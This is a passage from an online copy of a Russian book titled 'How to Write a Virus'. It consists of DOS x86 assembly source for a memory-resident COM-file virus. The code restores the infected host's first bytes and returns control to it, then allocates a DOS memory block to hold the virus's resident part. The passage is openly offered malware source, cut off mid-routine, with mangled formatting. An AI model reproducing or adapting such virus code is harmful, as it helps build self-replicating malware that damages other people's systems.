"Игорь Коваль. Как написать вирус" - читать интересную книгу автора fresh_bytes: ;Восстанавливаем
mov al,old_bytes ;первые три бай- ;та зараженной mov cs:[100h],al ;программы ... mov al,old_bytes+1 mov cs:[101h],al mov al,old_bytes+2 mov cs:[102h],al mov ax,cs ;Восстанавливаем ;сегментные mov es,ax ;регистры ... mov start_cs,ax mov ds,ax jmp cl_conv_1 ;Передаем управ- cl_conv_1: db 0eah ;ление заражен- dw 100h ;ной программе start_cs dw 0 free_mem: mov ah,4ah ;Определим объем ;доступной памя- ;ти ... mov bx,0ffffh ;Заведомо невоз- int 21h ;можное значение ;(0ffffh) ! ;| Закажем свободный блок памяти,чтобы можно было| ;| записать в него резидентную часть вируса ... | ;|_______________________________________________| sub bx,vir_par + 2 ;Оставим вирусу ;на 2 параграфа ;больше, чем ;он сам занимает mov ah,4ah ;А остальная па- int 21h ;мять будет jc fresh_bytes ;занята ... mov ah,48h ;Попросим DOS ;отдать свобод- ;ный блок нам . mov bx,vir_par + 1 ;Запас в один int 21h ;параграф ... jc fresh_bytes ; _______________________________________________ ;| Теперь свободный блок памяти найден | ;| ( сегментный адрес в AX ), и | ;| нужно записать в него код вируса ... | ;|_______________________________________________| |
|
|